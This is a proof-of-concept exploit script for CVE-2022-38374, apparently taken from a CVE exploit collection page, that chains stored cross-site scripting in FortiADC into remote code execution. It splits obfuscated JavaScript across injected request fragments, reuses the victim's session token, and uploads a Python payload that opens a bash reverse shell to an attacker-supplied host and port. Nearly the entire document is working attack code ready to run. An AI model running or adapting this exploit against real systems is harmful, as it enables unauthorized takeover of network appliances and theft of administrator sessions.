4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2022-38374.py PY
#!/usr/bin/python3

import math
import time
import socket
import base64
import argparse



def encode_all(string):
    return "".join("%{0:0>2}".format(format(ord(char), "x")) for char in string)

def genPayload(host, port):
	data = '-----------------------------7020473452044903480265093380%0D%0AContent-Disposition: form-data; name="pyfile";filename="test.txt"%0D%0AContent-Type: text/plain%0D%0Aimport os; os.system("bash -i >& /dev/tcp/' + host + '/' + port + '0>&1")%0D%0A-----------------------------7020473452044903480265093380--'

	script_url = '/ui/#navigate/Config/system/aws_scripting'
	payload='''var xhr = new XMLHttpRequest();
	xhr.open("POST","/ui/#navigate/Config/system/aws_scripting",true);
	xhr.setRequestHeader("Authorization","Bearer " + sessionStorage["jwtoken"]);
	xhr.setRequestHeader("Content-Type","multipart/form-data;boundary=---------------------------7020473452044903480265093380");
	xhr.send('%s');xhr.open("GET","/api/system_aws_scripting/py_script_log?vdom=root&traffic_group=default",true);xhr.setRequestHeader("Authorization","Bearer " + sessionStorage["jwtoken"]);xhr.send();''' % data

	payload=encode_all(payload)

	chunks = [payload[i:i+400] for i in range(0, len(payload), 400)]
	
	# We need to store chunks in a variable reading each row and then decode and eval it
	payload=["p='';for(s=1;s<%s;s++);p+=$('table').dataTable().api().data()[s]['http_qry'];f=eval(decodeURIComponent(p))" % (len(chunks)+1)]
	for i in chunks:
			payload.append("%s" % i)
	return payload

uri=['','','','','','','','','','']

uri+=['<script>e(e(s))', \
'<script>s=e(v)', \
'<script>u=$(d)', \
'<script>v+=d+c', \
'<script>c="()"', \
'<script>v="u.t"', \
'<script>d="ext"', \
'<ext>y"]', \
'<ext>]["http_qr', \
'<ext>t.data()[0']

uri+=['<script>e(e(y))', \
'<script>e(e(z))', \
'<script>w=$(d)', \
'<script>z+=d+c', \
'<script>c="()"', \
'<script>z="w.t"', \
'<script>d="ext"', \
'<ext>le().api()', \
'<ext>").dataTab', \
'<ext>t=$("table']

uri+=['<script>e(e(y))', \
'<script>e=eval', \
'<script>x=$(d)', \
'<script>y+=d+c', \
'<script>c="()"', \
'<script>y="x.t"', \
'<script>d="ext"', \
'<ext>).click())', \
'<ext>>$(".next"', \
'<ext>_.delay(_=']

parser = argparse.ArgumentParser(description='FortiADC XSS to RCE')
parser.add_argument('thost', metavar='thost', help='Target host')
parser.add_argument('tport', metavar='tport', help='Target port')
parser.add_argument('rhost', metavar='rhost', help='Reverse shell host')
parser.add_argument('rport', metavar='rport', help='Reverse shell port')
args = parser.parse_args()
count=0
payload = genPayload(args.rhost, args.rport)
temp = len(payload)-1

for i in uri:
	if (count>=13) and (temp>=0):
		data = "GET %s?%s\r\n\r\n" % (i,payload[temp])
		temp-=1
		time.sleep(0.1)
	else:
		data = "GET %s?%s\r\n\r\n" % (i,count)
		time.sleep(0.1)
	
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((args.thost, int(args.tport)))
	s.send(str.encode(data))
	s.close()
	count+=1